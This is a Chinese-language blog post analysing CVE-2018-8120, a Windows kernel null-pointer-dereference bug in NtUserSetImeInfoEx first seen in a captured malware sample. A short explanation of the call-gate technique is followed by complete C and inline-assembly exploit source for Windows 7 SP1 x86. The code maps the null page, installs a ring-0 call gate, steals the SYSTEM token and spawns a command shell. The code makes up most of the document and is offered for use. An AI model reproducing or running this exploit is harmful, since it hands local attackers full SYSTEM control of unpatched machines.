作者:bigric3
作者博客:<http://bigric3.blogspot.jp/2018/05/cve-2018-8120-analysis-and-exploit.html></http://bigric3.blogspot.jp/2018/05/cve-2018-8120-analysis-and-exploit.html>
5月15日ESET发文其在3月份捕获了一个 pdf远程代码执行(cve-2018-4990)+windows本地权限提升(cve-2018-8120)的样本。ESET发文后,我从vt上下载了这样一份样本(<https://www.virustotal.com/#/file/6cfbebe9c562d9cdfc540ce45d09c8a00d227421349b12847c421ba6f71f4284/detection></https://www.virustotal.com/#/file/6cfbebe9c562d9cdfc540ce45d09c8a00d227421349b12847c421ba6f71f4284/detection>)。初步逆向,大致明确如外界所传,该漏洞处于开发测试阶段,不慎被上传到了公网样本检测的网上,由ESET捕获并提交微软和adobe修补。测试特征字符串如下
定位样本中关键的代码并调试分析
可以知道漏洞产生于系统调用号为0x1226的内核函数NtUserSetImeInfoEx中,该函数调用SetImeInfoEx,在SetImeInfoEx内对参数1校验疏忽,产生了空指针解引用漏洞,相关触发代码逻辑如下:
相较于目前较为主流的gdi提权技术,该样本利用了安装系统调用门来实现内核权限提升。
首先,通过指令sgdt指令获取全局描述符表
申请0x400 bytes内存,构造调用门描述符
调用门描述符结构如下
调用门及mapping null page构造完毕后,开始触发漏洞安装调用门
此时寄存器数据如下
源数据如下
目的地址数据如下
可以看到安装了自身callgate及Ring0Function。安装完毕后(支持3环调用的CallGate),ring3程序调用调用门
找到对应的GDT表项
按照GDT表项的结构,分析样本安装的调用门描述符:
段选择子cs的值为0x1a8;
对应的Ring0Function的offset低地址为0x51b4;
对应的Ring0Function的offset高地址为0x80b9;
DPL为3 & Gate Valid位为1
段选择子cs对应的结构如下,RPL级别为0,特权级别
根据上述结构定位gdt段描述符项
段描述符结构如下
3,4,5,8个字节得到段基址为0x0,结合上面的Ring0Func,得到Ring0Func的物理地址
Ring0Function很简单,直接ret,但此时ring3代码已具有ring0权限,因为这里没有恢复cs:
整个Far Pointer to Call Gate流程如下图:
中断在call far pointer,此时cs的值为0x1b
单步进入后,cs变为0x1a8(此时中断在我双机调试的windbg上)
如此替换本进程的token为system的token后,完成权限提升,最后恢复cs,并平衡堆栈后,再执行更多的ring3代码,否则容易BSOD。
分析过程中,我近95%的按照样本的思路还原了提权代码。
<https://github.com/bigric3/cve-2018-8120></https://github.com/bigric3/cve-2018-8120>
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <strsafe.h>
#include <assert.h>
#include <conio.h>
#include <process.h>
#include <winuser.h>
#include "double_free.h"
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#pragma comment(lib,"User32.lib")
typedef struct _FARCALL {
DWORD Offset;
WORD SegSelector;
} FARCALL, *PFARCALL;
FARCALL Farcall = { 0 };
LONG Sequence = 1;
LONG Actual[3];
_NtQuerySystemInformation NtQuerySystemInformation;
LPCSTR lpPsInitialSystemProcess = "PsInitialSystemProcess";
LPCSTR lpPsReferencePrimaryToken = "PsReferencePrimaryToken";
FARPROC fpPsInitialSystemProcess = NULL;
FARPROC fpPsReferencePrimaryToken = NULL;
NtAllocateVirtualMemory_t NtAllocateVirtualMemory;
void PopShell()
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}
FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName)
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
LPVOID kernelBase = NULL;
PUCHAR kernelImage = NULL;
HMODULE hUserSpaceKernel;
LPCSTR lpKernelName = NULL;
FARPROC pUserKernelSymbol = NULL;
FARPROC pLiveFunctionAddress = NULL;
NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = ModuleInfo->Module[0].ImageBase;
kernelImage = ModuleInfo->Module[0].FullPathName;
lpKernelName = (LPCSTR)ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName;
hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return pLiveFunctionAddress;
}
LONG WINAPI
VectoredHandler1(
struct _EXCEPTION_POINTERS *ExceptionInfo
)
{
HMODULE v2;
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xE06D7363)
return 1;
v2 = GetModuleHandleA("kernel32.dll");
ExceptionInfo->ContextRecord->Eip = (DWORD)GetProcAddress(v2, "ExitThread");
return EXCEPTION_CONTINUE_EXECUTION;
}
DWORD FindAddressByHandle( HANDLE hCurProcess )
{
PSYSTEM_HANDLE_INFORMATION pSysHandleInformation = new SYSTEM_HANDLE_INFORMATION;
DWORD size = 0xfff00;
DWORD needed = 0;
DWORD dwPid = 0;
NTSTATUS status;
pSysHandleInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(size);
memset(pSysHandleInformation, 0, size);
status = NtQuerySystemInformation(SystemHandleInformation, pSysHandleInformation, size, &needed);
// pSysHandleInformation = (PSYSTEM_HANDLE_INFORMATION)new BYTE[needed];
// status = NtQuerySystemInformation(SystemHandleInformation, pSysHandleInformation, needed, 0);
// if (!status)
// {
// if (0 == needed)
// {
// return -1;// some other error
// }
// // The previously supplied buffer wasn't enough.
// delete pSysHandleInformation;
// size = needed + 1024;
//
// if (!status)
// {
// // some other error so quit.
// delete pSysHandleInformation;
// return -1;
// }
// }
dwPid = GetCurrentProcessId();
for (DWORD i = 0; i < pSysHandleInformation->dwCount; i++)
{
SYSTEM_HANDLE& sh = pSysHandleInformation->Handles[i];
if (sh.dwProcessId == dwPid && (DWORD)hCurProcess == (DWORD)sh.wValue)
{
return (DWORD)(sh.pAddress);
}
}
return -1;
}
HANDLE hDesHandle = NULL;
DWORD dwCurAddress;
PACCESS_TOKEN pToken;
DWORD *v1;
DWORD v2, *p2;
DWORD i;
PVOID Memory = NULL;
DWORD ori_ret = 0;
void __declspec(naked) EscapeOfPrivilege(HANDLE hCurProcess)
{
__asm
{
push ebp
mov ebp,esp
}
//v1 = (DWORD *)&hCurProcess;
if (DuplicateHandle(hCurProcess, hCurProcess, hCurProcess, &hDesHandle, 0x10000000u, 0, 2u))
{
dwCurAddress = FindAddressByHandle(hDesHandle);
if ( dwCurAddress == -1 )
{
printf("Find Current Process address Failed!\n");
system("pause");
//exit(-1);
}
printf("addrProcess:0x%08x\n", dwCurAddress);
v1 = (DWORD *)dwCurAddress;
__asm{
push ecx; save context
lea ecx, Farcall
call fword ptr[ecx]
mov eax, [esp]
mov [ebp-0x2c], eax
add esp,4
}
p2 = &v2;
p2 = *(DWORD**)fpPsInitialSystemProcess;
pToken = ((PsReferencePrimaryToken_t)fpPsReferencePrimaryToken)(p2);
//
//// walk through token offset
// if ((*p2 & 0xFFFFFFF8) != (unsigned long)pToken)
// {
// do
// {
// i = p2[1];
// ++p2;
// ++v1;
// } while ((i & 0xFFFFFFF8) != (unsigned long)pToken);
// }
Memory = (PVOID)(ULONG)((char*)dwCurAddress + 0xf8);
*(PULONG)Memory = *(PULONG)((char*)p2 + 0xf8);
__asm
{
mov eax, [ebp-0x2c]
push eax
mov eax, PopShell
push eax
retf
}
}
}
int fill_callgate(int a1, int a2, int a3)
{
int *v3; // edx
int v4; // ecx
signed int v5; // esi
v3 = (int *)(a1 + 4);
v4 = a2 + 352;
v5 = 87;
do
{
*v3 = v4;
v4 += 8;
v3 += 2;
--v5;
} while (v5);
if (!a3)
{
*(DWORD *)(a1 + 96) = 0xC3; // ret
*(WORD *)(a1 + 76) = a2 + 0x1B4; // address low offset
*(WORD *)(a1 + 82) = (unsigned int)(a2 + 0x1B4) >> 16; // address high offset
*(WORD *)(a1 + 78) = 0x1A8; // segment selector
*(WORD *)(a1 + 80) = 0xEC00u;
*(WORD *)(a1 + 84) = 0xFFFFu;
*(WORD *)(a1 + 86) = 0;
*(BYTE *)(a1 + 88) = 0;
*(BYTE *)(a1 + 91) = 0;
*(BYTE *)(a1 + 89) = 0x9Au;
*(BYTE *)(a1 + 90) = 0xCFu;
}
return 1;
}
void main()
{
NTSTATUS ntStatus;
PVOID pMappedAddress = NULL;
SIZE_T SectionSize = 0x4000;
DWORD_PTR dwArg1;
DWORD dwArg2;
PVOID pMappedAddress1 = NULL;
RtlAdjustPrivilege_t RtlAdjustPrivilege;
DWORD dwPageSize = 0;
char szGDT[6];
struct _SYSTEM_INFO SystemInfo;
HANDLE hCurThread = NULL, hCurProcess = NULL;
HMODULE hNtdll = NULL;
PVOID dwAllocMem = (PVOID)0x100;
PVOID pAllocMem;
HWINSTA hWndstation;
DWORD temp;
fpPsInitialSystemProcess = KernelSymbolInfo(lpPsInitialSystemProcess);
fpPsReferencePrimaryToken = KernelSymbolInfo(lpPsReferencePrimaryToken);
if ( fpPsInitialSystemProcess && fpPsReferencePrimaryToken )
{
AddVectoredExceptionHandler(1u, VectoredHandler1);
hCurThread = GetCurrentThread();
dwArg1 = SetThreadAffinityMask(hCurThread, 1u);
printf("thread prev mask : 0x % 08x\n", dwArg1);
__asm
{
sgdt szGDT;
}
temp = *(int*)(szGDT + 2);
printf("addrGdt:%#p\n", *(int*)(szGDT + 2));
GetSystemInfo(&SystemInfo);
dwPageSize = SystemInfo.dwPageSize;
hNtdll = GetModuleHandle("ntdll.dll");
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
system("pause");
//exit(-1);
}
RtlAdjustPrivilege = (RtlAdjustPrivilege_t)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
if (!NtAllocateVirtualMemory) {
printf("\t\t[-] Failed Resolving RtlAdjustPrivilege: 0x%X\n", GetLastError());
system("pause");
//exit(-1);
}
hCurProcess = GetCurrentProcess();
ntStatus = NtAllocateVirtualMemory(hCurProcess, &dwAllocMem, 0, (PULONG)&dwPageSize, 0x3000, 4);
if (ntStatus)
{
printf("Alloc mem Failed! Error Code: 0x%08x!\n", ntStatus);
system("pause");
//exit(-1);
}
pAllocMem = operator new(0x400);
memset(pAllocMem, 0, 0x400u);
*(DWORD *)(*(DWORD*)dwAllocMem + 0x14)= *(DWORD*)pAllocMem;
*(DWORD *)(*(DWORD*)dwAllocMem + 0x2C) = temp+0x154;
fill_callgate((int)pAllocMem, temp, 0);
//*(DWORD *)(v22 + 20) = *(DWORD*)pAllocMem;
//*(DWORD *)(v22 + 44) = v22[1] + 340;
printf("ready to trigger!\n");
hWndstation = CreateWindowStationW(0, 0, 0x80000000, 0);
if ( hWndstation )
{
if (SetProcessWindowStation(hWndstation))
{
__asm {
//int 3
push esi
mov esi, pAllocMem
push eax
push edx
push esi
push esi
mov eax,0x1226
mov edx, 7FFE0300h
call dword ptr[edx]
pop esi
pop esi
pop edx
pop eax
pop esi
}
Farcall.SegSelector = 0x1a0;
EscapeOfPrivilege( hCurProcess );
PopShell();
}
else
{
int n = GetLastError();
printf("step2 failed:0x%08x\n", n);
system("pause");
//exit(-1);
}
}
else
{
int n = GetLastError();
printf("step1 failed:0x%08x\n", n);
system("pause");
//exit(-1);
}
}
else
{
printf("Init Symbols Failed! \n");
system("pause");
//exit(-1);
}
}